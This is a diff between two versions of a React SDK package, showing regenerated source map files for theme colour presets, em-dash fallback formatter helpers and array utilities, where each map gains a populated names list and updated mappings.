tempest-react-sdk 0.77.0 → 0.79.0

package/dist/theme/theme-presets.js.map

@@ -1 +1 @@
-{"version":3,"file":"theme-presets.js","names":[],"sources":["../../src/theme/theme-presets.ts"],"sourcesContent":["/**\n * Ready-made brand descriptions for {@link createTheme}.\n *\n * Each preset is a plain {@link CreateThemeOptions} object — data, not CSS — so\n * an app can spread one and override a single field (`{ ...themePresets.violet,\n * radius: \"full\" }`) instead of forking a stylesheet. The chart arrays keep the\n * `/charts` module in the same family as the brand, which is the whole point of\n * `--tempest-chart-*`.\n */\nimport type { CreateThemeOptions } from \"./create-theme\";\n\n/** Name of a bundled preset. */\nexport type ThemePresetName = \"tempest\" | \"violet\" | \"emerald\" | \"rose\" | \"slate\" | \"amber\";\n\n/**\n * The bundled presets.\n *\n * `tempest` restates the SDK's own defaults — useful as a starting point to\n * tweak, and as the \"reset to default\" entry in a theme picker.\n */\nexport const themePresets: Record<ThemePresetName, CreateThemeOptions> = {\n    tempest: {\n        primary: \"#0066ff\",\n        gray: \"#667085\",\n        chart: [\"#2563eb\", \"#16a34a\", \"#f59e0b\", \"#7c3aed\", \"#ec4899\", \"#06b6d4\"],\n    },\n    violet: {\n        primary: \"#7c3aed\",\n        gray: \"#6b7280\",\n        chart: [\"#7c3aed\", \"#0ea5e9\", \"#22c55e\", \"#f59e0b\", \"#ec4899\", \"#14b8a6\"],\n    },\n    emerald: {\n        primary: \"#059669\",\n        gray: \"#64748b\",\n        chart: [\"#059669\", \"#0ea5e9\", \"#f59e0b\", \"#8b5cf6\", \"#ef4444\", \"#14b8a6\"],\n    },\n    rose: {\n        primary: \"#e11d48\",\n        gray: \"#71717a\",\n        chart: [\"#e11d48\", \"#7c3aed\", \"#0ea5e9\", \"#16a34a\", \"#f59e0b\", \"#06b6d4\"],\n    },\n    slate: {\n        primary: \"#475569\",\n        gray: \"#64748b\",\n        chart: [\"#475569\", \"#0ea5e9\", \"#16a34a\", \"#f59e0b\", \"#a855f7\", \"#06b6d4\"],\n    },\n    amber: {\n        primary: \"#d97706\",\n        gray: \"#78716c\",\n        chart: [\"#d97706\", \"#0284c7\", \"#16a34a\", \"#7c3aed\", \"#dc2626\", \"#0891b2\"],\n    },\n};\n\n/**\n * Look up a preset by name.\n *\n * @param name - Preset name.\n * @returns The preset options, or `undefined` when the name is unknown (so a\n *   value coming from `localStorage` or a query string cannot crash boot).\n */\nexport function getThemePreset(name: string): CreateThemeOptions | undefined {\n    return themePresets[name as ThemePresetName];\n}\n"],"mappings":";AAoBA,IAAa,IAA4D;CACrE,SAAS;EACL,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,QAAQ;EACJ,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,SAAS;EACL,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,MAAM;EACF,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,OAAO;EACH,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,OAAO;EACH,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;AACJ;AASA,SAAgB,EAAe,GAA8C;CACzE,OAAO,EAAa;AACxB"}
+{"version":3,"file":"theme-presets.js","names":["themePresets","getThemePreset","name"],"sources":["../../src/theme/theme-presets.ts"],"sourcesContent":["/**\n * Ready-made brand descriptions for {@link createTheme}.\n *\n * Each preset is a plain {@link CreateThemeOptions} object — data, not CSS — so\n * an app can spread one and override a single field (`{ ...themePresets.violet,\n * radius: \"full\" }`) instead of forking a stylesheet. The chart arrays keep the\n * `/charts` module in the same family as the brand, which is the whole point of\n * `--tempest-chart-*`.\n */\nimport type { CreateThemeOptions } from \"./create-theme\";\n\n/** Name of a bundled preset. */\nexport type ThemePresetName = \"tempest\" | \"violet\" | \"emerald\" | \"rose\" | \"slate\" | \"amber\";\n\n/**\n * The bundled presets.\n *\n * `tempest` restates the SDK's own defaults — useful as a starting point to\n * tweak, and as the \"reset to default\" entry in a theme picker.\n */\nexport const themePresets: Record<ThemePresetName, CreateThemeOptions> = {\n    tempest: {\n        primary: \"#0066ff\",\n        gray: \"#667085\",\n        chart: [\"#2563eb\", \"#16a34a\", \"#f59e0b\", \"#7c3aed\", \"#ec4899\", \"#06b6d4\"],\n    },\n    violet: {\n        primary: \"#7c3aed\",\n        gray: \"#6b7280\",\n        chart: [\"#7c3aed\", \"#0ea5e9\", \"#22c55e\", \"#f59e0b\", \"#ec4899\", \"#14b8a6\"],\n    },\n    emerald: {\n        primary: \"#059669\",\n        gray: \"#64748b\",\n        chart: [\"#059669\", \"#0ea5e9\", \"#f59e0b\", \"#8b5cf6\", \"#ef4444\", \"#14b8a6\"],\n    },\n    rose: {\n        primary: \"#e11d48\",\n        gray: \"#71717a\",\n        chart: [\"#e11d48\", \"#7c3aed\", \"#0ea5e9\", \"#16a34a\", \"#f59e0b\", \"#06b6d4\"],\n    },\n    slate: {\n        primary: \"#475569\",\n        gray: \"#64748b\",\n        chart: [\"#475569\", \"#0ea5e9\", \"#16a34a\", \"#f59e0b\", \"#a855f7\", \"#06b6d4\"],\n    },\n    amber: {\n        primary: \"#d97706\",\n        gray: \"#78716c\",\n        chart: [\"#d97706\", \"#0284c7\", \"#16a34a\", \"#7c3aed\", \"#dc2626\", \"#0891b2\"],\n    },\n};\n\n/**\n * Look up a preset by name.\n *\n * @param name - Preset name.\n * @returns The preset options, or `undefined` when the name is unknown (so a\n *   value coming from `localStorage` or a query string cannot crash boot).\n */\nexport function getThemePreset(name: string): CreateThemeOptions | undefined {\n    return themePresets[name as ThemePresetName];\n}\n"],"mappings":";AAoBA,IAAaA,IAA4D;CACrE,SAAS;EACL,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,QAAQ;EACJ,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,SAAS;EACL,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,MAAM;EACF,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,OAAO;EACH,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;CACA,OAAO;EACH,SAAS;EACT,MAAM;EACN,OAAO;GAAC;GAAW;GAAW;GAAW;GAAW;GAAW;EAAS;CAC5E;AACJ;AASA,SAAgBC,EAAe,GAA8C;CACzE,OAAOD,EAAaE;AACxB"}

package/dist/utils/absent.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"absent.cjs","names":[],"sources":["../../src/utils/absent.ts"],"sourcesContent":["/**\n * What every formatter prints when it has nothing to print.\n *\n * An em dash rather than an empty string, because in a table those are two\n * different claims: a blank cell reads as \"this column does not apply here\",\n * while `—` reads as \"this value is missing\". `formatDurationMs` in `/perf` has\n * answered this way since it shipped, and `formatPercent` joined it in 0.65.0;\n * this constant is what stops the third answer from appearing.\n */\nexport const ABSENT_TEXT = \"—\";\n\n/** The text a formatter falls back to when the value cannot be rendered. */\nexport interface FormatFallbackOptions {\n    /**\n     * Text for a value that is absent (`null`/`undefined`) or unrepresentable\n     * (`NaN`, `Infinity`). Defaults to {@link ABSENT_TEXT}.\n     *\n     * The formatters that feed an `<input>` default to `\"\"` instead, because an\n     * input reads an empty string as \"no value\" and would render an em dash as\n     * content the user has to delete.\n     */\n    fallback?: string;\n}\n\n/**\n * Whether a value is absent, i.e. has nothing to format.\n *\n * `null` and `undefined` only. A present-but-unparseable value is a different\n * state, and the formatters keep it distinguishable: an ISO string that is not a\n * date still answers `\"\"`, which is what tells \"nobody filled this in\" apart\n * from \"what they filled in is broken\" while reading a log.\n *\n * @param value - Anything a formatter was handed.\n * @returns Whether the formatter should answer with the fallback.\n */\nexport function isAbsent(value: unknown): value is null | undefined {\n    return value === null || value === undefined;\n}\n\n/**\n * Resolve the fallback text for a formatter call.\n *\n * @param options - The caller's options, if any.\n * @param defaultText - What this formatter uses when the caller said nothing.\n * @returns The text to render in place of the value.\n */\nexport function fallbackText(\n    options: FormatFallbackOptions | undefined,\n    defaultText: string = ABSENT_TEXT,\n): string {\n    return options?.fallback ?? defaultText;\n}\n"],"mappings":"AASA,IAAa,EAAc,IA0B3B,SAAgB,EAAS,EAA2C,CAChE,OAAO,GAAU,IACrB,CASA,SAAgB,EACZ,EACA,EAAA,IACM,CACN,OAAO,GAAS,UAAY,CAChC"}
+{"version":3,"file":"absent.cjs","names":["ABSENT_TEXT","isAbsent","value","fallbackText","options","defaultText"],"sources":["../../src/utils/absent.ts"],"sourcesContent":["/**\n * What every formatter prints when it has nothing to print.\n *\n * An em dash rather than an empty string, because in a table those are two\n * different claims: a blank cell reads as \"this column does not apply here\",\n * while `—` reads as \"this value is missing\". `formatDurationMs` in `/perf` has\n * answered this way since it shipped, and `formatPercent` joined it in 0.65.0;\n * this constant is what stops the third answer from appearing.\n */\nexport const ABSENT_TEXT = \"—\";\n\n/** The text a formatter falls back to when the value cannot be rendered. */\nexport interface FormatFallbackOptions {\n    /**\n     * Text for a value that is absent (`null`/`undefined`) or unrepresentable\n     * (`NaN`, `Infinity`). Defaults to {@link ABSENT_TEXT}.\n     *\n     * The formatters that feed an `<input>` default to `\"\"` instead, because an\n     * input reads an empty string as \"no value\" and would render an em dash as\n     * content the user has to delete.\n     */\n    fallback?: string;\n}\n\n/**\n * Whether a value is absent, i.e. has nothing to format.\n *\n * `null` and `undefined` only. A present-but-unparseable value is a different\n * state, and the formatters keep it distinguishable: an ISO string that is not a\n * date still answers `\"\"`, which is what tells \"nobody filled this in\" apart\n * from \"what they filled in is broken\" while reading a log.\n *\n * @param value - Anything a formatter was handed.\n * @returns Whether the formatter should answer with the fallback.\n */\nexport function isAbsent(value: unknown): value is null | undefined {\n    return value === null || value === undefined;\n}\n\n/**\n * Resolve the fallback text for a formatter call.\n *\n * @param options - The caller's options, if any.\n * @param defaultText - What this formatter uses when the caller said nothing.\n * @returns The text to render in place of the value.\n */\nexport function fallbackText(\n    options: FormatFallbackOptions | undefined,\n    defaultText: string = ABSENT_TEXT,\n): string {\n    return options?.fallback ?? defaultText;\n}\n"],"mappings":"AASA,IAAaA,EAAc,IA0B3B,SAAgBC,EAAS,EAA2C,CAChE,OAAOC,GAAU,IACrB,CASA,SAAgBC,EACZ,EACA,EAAA,IACM,CACN,OAAOC,GAAS,UAAYC,CAChC,C"}

package/dist/utils/absent.js.map

@@ -1 +1 @@
-{"version":3,"file":"absent.js","names":[],"sources":["../../src/utils/absent.ts"],"sourcesContent":["/**\n * What every formatter prints when it has nothing to print.\n *\n * An em dash rather than an empty string, because in a table those are two\n * different claims: a blank cell reads as \"this column does not apply here\",\n * while `—` reads as \"this value is missing\". `formatDurationMs` in `/perf` has\n * answered this way since it shipped, and `formatPercent` joined it in 0.65.0;\n * this constant is what stops the third answer from appearing.\n */\nexport const ABSENT_TEXT = \"—\";\n\n/** The text a formatter falls back to when the value cannot be rendered. */\nexport interface FormatFallbackOptions {\n    /**\n     * Text for a value that is absent (`null`/`undefined`) or unrepresentable\n     * (`NaN`, `Infinity`). Defaults to {@link ABSENT_TEXT}.\n     *\n     * The formatters that feed an `<input>` default to `\"\"` instead, because an\n     * input reads an empty string as \"no value\" and would render an em dash as\n     * content the user has to delete.\n     */\n    fallback?: string;\n}\n\n/**\n * Whether a value is absent, i.e. has nothing to format.\n *\n * `null` and `undefined` only. A present-but-unparseable value is a different\n * state, and the formatters keep it distinguishable: an ISO string that is not a\n * date still answers `\"\"`, which is what tells \"nobody filled this in\" apart\n * from \"what they filled in is broken\" while reading a log.\n *\n * @param value - Anything a formatter was handed.\n * @returns Whether the formatter should answer with the fallback.\n */\nexport function isAbsent(value: unknown): value is null | undefined {\n    return value === null || value === undefined;\n}\n\n/**\n * Resolve the fallback text for a formatter call.\n *\n * @param options - The caller's options, if any.\n * @param defaultText - What this formatter uses when the caller said nothing.\n * @returns The text to render in place of the value.\n */\nexport function fallbackText(\n    options: FormatFallbackOptions | undefined,\n    defaultText: string = ABSENT_TEXT,\n): string {\n    return options?.fallback ?? defaultText;\n}\n"],"mappings":";AASA,IAAa,IAAc;AA0B3B,SAAgB,EAAS,GAA2C;CAChE,OAAO,KAAU;AACrB;AASA,SAAgB,EACZ,GACA,IAAA,KACM;CACN,OAAO,GAAS,YAAY;AAChC"}
+{"version":3,"file":"absent.js","names":["ABSENT_TEXT","isAbsent","value","fallbackText","options","defaultText"],"sources":["../../src/utils/absent.ts"],"sourcesContent":["/**\n * What every formatter prints when it has nothing to print.\n *\n * An em dash rather than an empty string, because in a table those are two\n * different claims: a blank cell reads as \"this column does not apply here\",\n * while `—` reads as \"this value is missing\". `formatDurationMs` in `/perf` has\n * answered this way since it shipped, and `formatPercent` joined it in 0.65.0;\n * this constant is what stops the third answer from appearing.\n */\nexport const ABSENT_TEXT = \"—\";\n\n/** The text a formatter falls back to when the value cannot be rendered. */\nexport interface FormatFallbackOptions {\n    /**\n     * Text for a value that is absent (`null`/`undefined`) or unrepresentable\n     * (`NaN`, `Infinity`). Defaults to {@link ABSENT_TEXT}.\n     *\n     * The formatters that feed an `<input>` default to `\"\"` instead, because an\n     * input reads an empty string as \"no value\" and would render an em dash as\n     * content the user has to delete.\n     */\n    fallback?: string;\n}\n\n/**\n * Whether a value is absent, i.e. has nothing to format.\n *\n * `null` and `undefined` only. A present-but-unparseable value is a different\n * state, and the formatters keep it distinguishable: an ISO string that is not a\n * date still answers `\"\"`, which is what tells \"nobody filled this in\" apart\n * from \"what they filled in is broken\" while reading a log.\n *\n * @param value - Anything a formatter was handed.\n * @returns Whether the formatter should answer with the fallback.\n */\nexport function isAbsent(value: unknown): value is null | undefined {\n    return value === null || value === undefined;\n}\n\n/**\n * Resolve the fallback text for a formatter call.\n *\n * @param options - The caller's options, if any.\n * @param defaultText - What this formatter uses when the caller said nothing.\n * @returns The text to render in place of the value.\n */\nexport function fallbackText(\n    options: FormatFallbackOptions | undefined,\n    defaultText: string = ABSENT_TEXT,\n): string {\n    return options?.fallback ?? defaultText;\n}\n"],"mappings":";AASA,IAAaA,IAAc;AA0B3B,SAAgBC,EAAS,GAA2C;CAChE,OAAOC,KAAU;AACrB;AASA,SAAgBC,EACZ,GACA,IAAA,KACM;CACN,OAAOC,GAAS,YAAYC;AAChC"}

package/dist/utils/arrays.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"arrays.cjs","names":[],"sources":["../../src/utils/arrays.ts"],"sourcesContent":["/**\n * Group items of a list into buckets keyed by the result of `key`.\n *\n * Items preserve their original order within each bucket.\n *\n * @example\n * groupBy([1, 2, 3, 4], (n) => (n % 2 === 0 ? \"even\" : \"odd\"));\n * // { odd: [1, 3], even: [2, 4] }\n *\n * @example\n * groupBy([{ city: \"SP\" }, { city: \"RJ\" }, { city: \"SP\" }], (u) => u.city);\n * // { SP: [{ city: \"SP\" }, { city: \"SP\" }], RJ: [{ city: \"RJ\" }] }\n */\nexport function groupBy<T, K extends PropertyKey>(items: T[], key: (item: T) => K): Record<K, T[]> {\n    const result = {} as Record<K, T[]>;\n    for (const item of items) {\n        const k = key(item);\n        (result[k] ??= []).push(item);\n    }\n    return result;\n}\n\n/**\n * Remove duplicate items, keeping the first occurrence of each distinct key.\n *\n * Equality is determined by the value returned from `key` (compared with `===`).\n *\n * @example\n * uniqueBy([1, 2, 2, 3, 1], (n) => n); // [1, 2, 3]\n *\n * @example\n * uniqueBy(\n *   [{ id: 1, v: \"a\" }, { id: 1, v: \"b\" }, { id: 2, v: \"c\" }],\n *   (u) => u.id,\n * );\n * // [{ id: 1, v: \"a\" }, { id: 2, v: \"c\" }]\n */\nexport function uniqueBy<T>(items: T[], key: (item: T) => unknown): T[] {\n    const seen = new Set<unknown>();\n    const result: T[] = [];\n    for (const item of items) {\n        const k = key(item);\n        if (!seen.has(k)) {\n            seen.add(k);\n            result.push(item);\n        }\n    }\n    return result;\n}\n\n/**\n * Split a list into consecutive chunks of at most `size` items.\n *\n * The final chunk may be smaller than `size`. An empty input yields `[]`.\n *\n * @param items - The list to split.\n * @param size - Maximum chunk length; must be `>= 1`.\n * @throws {RangeError} When `size` is less than `1`.\n *\n * @example\n * chunk([1, 2, 3, 4, 5], 2); // [[1, 2], [3, 4], [5]]\n *\n * @example\n * chunk([], 3); // []\n */\nexport function chunk<T>(items: T[], size: number): T[][] {\n    if (size < 1) {\n        throw new RangeError(`chunk size must be >= 1, received ${size}`);\n    }\n    const result: T[][] = [];\n    for (let i = 0; i < items.length; i += size) {\n        result.push(items.slice(i, i + size));\n    }\n    return result;\n}\n\n/**\n * Build a numeric range from `start` (inclusive) to `end` (exclusive).\n *\n * - `step` defaults to `1` and may be negative for descending ranges.\n * - Returns an empty array when no progress can be made toward `end`\n *   (wrong-direction step, zero step, or `start === end`).\n *\n * @param start - First value of the range.\n * @param end - Exclusive upper (or lower, for negative step) bound.\n * @param step - Increment between values; defaults to `1`.\n *\n * @example\n * range(0, 5);        // [0, 1, 2, 3, 4]\n * range(0, 10, 2);    // [0, 2, 4, 6, 8]\n * range(5, 0, -1);    // [5, 4, 3, 2, 1]\n * range(0, 5, -1);    // [] (wrong direction)\n * range(3, 3);        // []\n */\nexport function range(start: number, end: number, step: number = 1): number[] {\n    const result: number[] = [];\n    if (step === 0) return result;\n    if (step > 0) {\n        for (let i = start; i < end; i += step) result.push(i);\n    } else {\n        for (let i = start; i > end; i += step) result.push(i);\n    }\n    return result;\n}\n"],"mappings":"AAaA,SAAgB,EAAkC,EAAY,EAAqC,CAC/F,IAAM,EAAS,CAAC,EAChB,IAAK,IAAM,KAAQ,EAAO,CACtB,IAAM,EAAI,EAAI,CAAI,GACjB,EAAO,KAAO,CAAC,EAAA,CAAG,KAAK,CAAI,CAChC,CACA,OAAO,CACX,CAiBA,SAAgB,EAAY,EAAY,EAAgC,CACpE,IAAM,EAAO,IAAI,IACX,EAAc,CAAC,EACrB,IAAK,IAAM,KAAQ,EAAO,CACtB,IAAM,EAAI,EAAI,CAAI,EACb,EAAK,IAAI,CAAC,IACX,EAAK,IAAI,CAAC,EACV,EAAO,KAAK,CAAI,EAExB,CACA,OAAO,CACX,CAiBA,SAAgB,EAAS,EAAY,EAAqB,CACtD,GAAI,EAAO,EACP,MAAU,WAAW,qCAAqC,GAAM,EAEpE,IAAM,EAAgB,CAAC,EACvB,IAAK,IAAI,EAAI,EAAG,EAAI,EAAM,OAAQ,GAAK,EACnC,EAAO,KAAK,EAAM,MAAM,EAAG,EAAI,CAAI,CAAC,EAExC,OAAO,CACX,CAoBA,SAAgB,EAAM,EAAe,EAAa,EAAe,EAAa,CAC1E,IAAM,EAAmB,CAAC,EAC1B,GAAI,IAAS,EAAG,OAAO,EACvB,GAAI,EAAO,EACP,IAAK,IAAI,EAAI,EAAO,EAAI,EAAK,GAAK,EAAM,EAAO,KAAK,CAAC,OAErD,IAAK,IAAI,EAAI,EAAO,EAAI,EAAK,GAAK,EAAM,EAAO,KAAK,CAAC,EAEzD,OAAO,CACX"}
+{"version":3,"file":"arrays.cjs","names":["groupBy","result","item","items","k","key","uniqueBy","seen","chunk","size","i","range","step","start","end"],"sources":["../../src/utils/arrays.ts"],"sourcesContent":["/**\n * Group items of a list into buckets keyed by the result of `key`.\n *\n * Items preserve their original order within each bucket.\n *\n * @example\n * groupBy([1, 2, 3, 4], (n) => (n % 2 === 0 ? \"even\" : \"odd\"));\n * // { odd: [1, 3], even: [2, 4] }\n *\n * @example\n * groupBy([{ city: \"SP\" }, { city: \"RJ\" }, { city: \"SP\" }], (u) => u.city);\n * // { SP: [{ city: \"SP\" }, { city: \"SP\" }], RJ: [{ city: \"RJ\" }] }\n */\nexport function groupBy<T, K extends PropertyKey>(items: T[], key: (item: T) => K): Record<K, T[]> {\n    const result = {} as Record<K, T[]>;\n    for (const item of items) {\n        const k = key(item);\n        (result[k] ??= []).push(item);\n    }\n    return result;\n}\n\n/**\n * Remove duplicate items, keeping the first occurrence of each distinct key.\n *\n * Equality is determined by the value returned from `key` (compared with `===`).\n *\n * @example\n * uniqueBy([1, 2, 2, 3, 1], (n) => n); // [1, 2, 3]\n *\n * @example\n * uniqueBy(\n *   [{ id: 1, v: \"a\" }, { id: 1, v: \"b\" }, { id: 2, v: \"c\" }],\n *   (u) => u.id,\n * );\n * // [{ id: 1, v: \"a\" }, { id: 2, v: \"c\" }]\n */\nexport function uniqueBy<T>(items: T[], key: (item: T) => unknown): T[] {\n    const seen = new Set<unknown>();\n    const result: T[] = [];\n    for (const item of items) {\n        const k = key(item);\n        if (!seen.has(k)) {\n            seen.add(k);\n            result.push(item);\n        }\n    }\n    return result;\n}\n\n/**\n * Split a list into consecutive chunks of at most `size` items.\n *\n * The final chunk may be smaller than `size`. An empty input yields `[]`.\n *\n * @param items - The list to split.\n * @param size - Maximum chunk length; must be `>= 1`.\n * @throws {RangeError} When `size` is less than `1`.\n *\n * @example\n * chunk([1, 2, 3, 4, 5], 2); // [[1, 2], [3, 4], [5]]\n *\n * @example\n * chunk([], 3); // []\n */\nexport function chunk<T>(items: T[], size: number): T[][] {\n    if (size < 1) {\n        throw new RangeError(`chunk size must be >= 1, received ${size}`);\n    }\n    const result: T[][] = [];\n    for (let i = 0; i < items.length; i += size) {\n        result.push(items.slice(i, i + size));\n    }\n    return result;\n}\n\n/**\n * Build a numeric range from `start` (inclusive) to `end` (exclusive).\n *\n * - `step` defaults to `1` and may be negative for descending ranges.\n * - Returns an empty array when no progress can be made toward `end`\n *   (wrong-direction step, zero step, or `start === end`).\n *\n * @param start - First value of the range.\n * @param end - Exclusive upper (or lower, for negative step) bound.\n * @param step - Increment between values; defaults to `1`.\n *\n * @example\n * range(0, 5);        // [0, 1, 2, 3, 4]\n * range(0, 10, 2);    // [0, 2, 4, 6, 8]\n * range(5, 0, -1);    // [5, 4, 3, 2, 1]\n * range(0, 5, -1);    // [] (wrong direction)\n * range(3, 3);        // []\n */\nexport function range(start: number, end: number, step: number = 1): number[] {\n    const result: number[] = [];\n    if (step === 0) return result;\n    if (step > 0) {\n        for (let i = start; i < end; i += step) result.push(i);\n    } else {\n        for (let i = start; i > end; i += step) result.push(i);\n    }\n    return result;\n}\n"],"mappings":"AAaA,SAAgBA,EAAkC,EAAY,EAAqC,CAC/F,IAAMC,EAAS,CAAC,EAChB,IAAK,IAAMC,KAAQC,EAAO,CACtB,IAAMC,EAAIC,EAAIH,CAAI,GACjB,EAAOE,KAAO,CAAC,EAAA,CAAG,KAAKF,CAAI,CAChC,CACA,OAAOD,CACX,CAiBA,SAAgBK,EAAY,EAAY,EAAgC,CACpE,IAAMC,EAAO,IAAI,IACXN,EAAc,CAAC,EACrB,IAAK,IAAMC,KAAQC,EAAO,CACtB,IAAMC,EAAIC,EAAIH,CAAI,EACbK,EAAK,IAAIH,CAAC,IACXG,EAAK,IAAIH,CAAC,EACVH,EAAO,KAAKC,CAAI,EAExB,CACA,OAAOD,CACX,CAiBA,SAAgBO,EAAS,EAAY,EAAqB,CACtD,GAAIC,EAAO,EACP,MAAU,WAAW,qCAAqCA,GAAM,EAEpE,IAAMR,EAAgB,CAAC,EACvB,IAAK,IAAIS,EAAI,EAAGA,EAAIP,EAAM,OAAQ,GAAKM,EACnCR,EAAO,KAAKE,EAAM,MAAMO,EAAGA,EAAID,CAAI,CAAC,EAExC,OAAOR,CACX,CAoBA,SAAgBU,EAAM,EAAe,EAAa,EAAe,EAAa,CAC1E,IAAMV,EAAmB,CAAC,EAC1B,GAAIW,IAAS,EAAG,OAAOX,EACvB,GAAIW,EAAO,EACP,IAAK,IAAI,EAAIC,EAAO,EAAIC,EAAK,GAAKF,EAAMX,EAAO,KAAK,CAAC,OAErD,IAAK,IAAI,EAAIY,EAAO,EAAIC,EAAK,GAAKF,EAAMX,EAAO,KAAK,CAAC,EAEzD,OAAOA,CACX,C"}

package/dist/utils/arrays.js.map

@@ -1 +1 @@
-{"version":3,"file":"arrays.js","names":[],"sources":["../../src/utils/arrays.ts"],"sourcesContent":["/**\n * Group items of a list into buckets keyed by the result of `key`.\n *\n * Items preserve their original order within each bucket.\n *\n * @example\n * groupBy([1, 2, 3, 4], (n) => (n % 2 === 0 ? \"even\" : \"odd\"));\n * // { odd: [1, 3], even: [2, 4] }\n *\n * @example\n * groupBy([{ city: \"SP\" }, { city: \"RJ\" }, { city: \"SP\" }], (u) => u.city);\n * // { SP: [{ city: \"SP\" }, { city: \"SP\" }], RJ: [{ city: \"RJ\" }] }\n */\nexport function groupBy<T, K extends PropertyKey>(items: T[], key: (item: T) => K): Record<K, T[]> {\n    const result = {} as Record<K, T[]>;\n    for (const item of items) {\n        const k = key(item);\n        (result[k] ??= []).push(item);\n    }\n    return result;\n}\n\n/**\n * Remove duplicate items, keeping the first occurrence of each distinct key.\n *\n * Equality is determined by the value returned from `key` (compared with `===`).\n *\n * @example\n * uniqueBy([1, 2, 2, 3, 1], (n) => n); // [1, 2, 3]\n *\n * @example\n * uniqueBy(\n *   [{ id: 1, v: \"a\" }, { id: 1, v: \"b\" }, { id: 2, v: \"c\" }],\n *   (u) => u.id,\n * );\n * // [{ id: 1, v: \"a\" }, { id: 2, v: \"c\" }]\n */\nexport function uniqueBy<T>(items: T[], key: (item: T) => unknown): T[] {\n    const seen = new Set<unknown>();\n    const result: T[] = [];\n    for (const item of items) {\n        const k = key(item);\n        if (!seen.has(k)) {\n            seen.add(k);\n            result.push(item);\n        }\n    }\n    return result;\n}\n\n/**\n * Split a list into consecutive chunks of at most `size` items.\n *\n * The final chunk may be smaller than `size`. An empty input yields `[]`.\n *\n * @param items - The list to split.\n * @param size - Maximum chunk length; must be `>= 1`.\n * @throws {RangeError} When `size` is less than `1`.\n *\n * @example\n * chunk([1, 2, 3, 4, 5], 2); // [[1, 2], [3, 4], [5]]\n *\n * @example\n * chunk([], 3); // []\n */\nexport function chunk<T>(items: T[], size: number): T[][] {\n    if (size < 1) {\n        throw new RangeError(`chunk size must be >= 1, received ${size}`);\n    }\n    const result: T[][] = [];\n    for (let i = 0; i < items.length; i += size) {\n        result.push(items.slice(i, i + size));\n    }\n    return result;\n}\n\n/**\n * Build a numeric range from `start` (inclusive) to `end` (exclusive).\n *\n * - `step` defaults to `1` and may be negative for descending ranges.\n * - Returns an empty array when no progress can be made toward `end`\n *   (wrong-direction step, zero step, or `start === end`).\n *\n * @param start - First value of the range.\n * @param end - Exclusive upper (or lower, for negative step) bound.\n * @param step - Increment between values; defaults to `1`.\n *\n * @example\n * range(0, 5);        // [0, 1, 2, 3, 4]\n * range(0, 10, 2);    // [0, 2, 4, 6, 8]\n * range(5, 0, -1);    // [5, 4, 3, 2, 1]\n * range(0, 5, -1);    // [] (wrong direction)\n * range(3, 3);        // []\n */\nexport function range(start: number, end: number, step: number = 1): number[] {\n    const result: number[] = [];\n    if (step === 0) return result;\n    if (step > 0) {\n        for (let i = start; i < end; i += step) result.push(i);\n    } else {\n        for (let i = start; i > end; i += step) result.push(i);\n    }\n    return result;\n}\n"],"mappings":";AAaA,SAAgB,EAAkC,GAAY,GAAqC;CAC/F,IAAM,IAAS,CAAC;CAChB,KAAK,IAAM,KAAQ,GAAO;EACtB,IAAM,IAAI,EAAI,CAAI;EAClB,CAAC,EAAO,OAAO,CAAC,EAAA,CAAG,KAAK,CAAI;CAChC;CACA,OAAO;AACX;AAiBA,SAAgB,EAAY,GAAY,GAAgC;CACpE,IAAM,oBAAO,IAAI,IAAa,GACxB,IAAc,CAAC;CACrB,KAAK,IAAM,KAAQ,GAAO;EACtB,IAAM,IAAI,EAAI,CAAI;EAClB,AAAK,EAAK,IAAI,CAAC,MACX,EAAK,IAAI,CAAC,GACV,EAAO,KAAK,CAAI;CAExB;CACA,OAAO;AACX;AAiBA,SAAgB,EAAS,GAAY,GAAqB;CACtD,IAAI,IAAO,GACP,MAAU,WAAW,qCAAqC,GAAM;CAEpE,IAAM,IAAgB,CAAC;CACvB,KAAK,IAAI,IAAI,GAAG,IAAI,EAAM,QAAQ,KAAK,GACnC,EAAO,KAAK,EAAM,MAAM,GAAG,IAAI,CAAI,CAAC;CAExC,OAAO;AACX;AAoBA,SAAgB,EAAM,GAAe,GAAa,IAAe,GAAa;CAC1E,IAAM,IAAmB,CAAC;CAC1B,IAAI,MAAS,GAAG,OAAO;CACvB,IAAI,IAAO,GACP,KAAK,IAAI,IAAI,GAAO,IAAI,GAAK,KAAK,GAAM,EAAO,KAAK,CAAC;MAErD,KAAK,IAAI,IAAI,GAAO,IAAI,GAAK,KAAK,GAAM,EAAO,KAAK,CAAC;CAEzD,OAAO;AACX"}
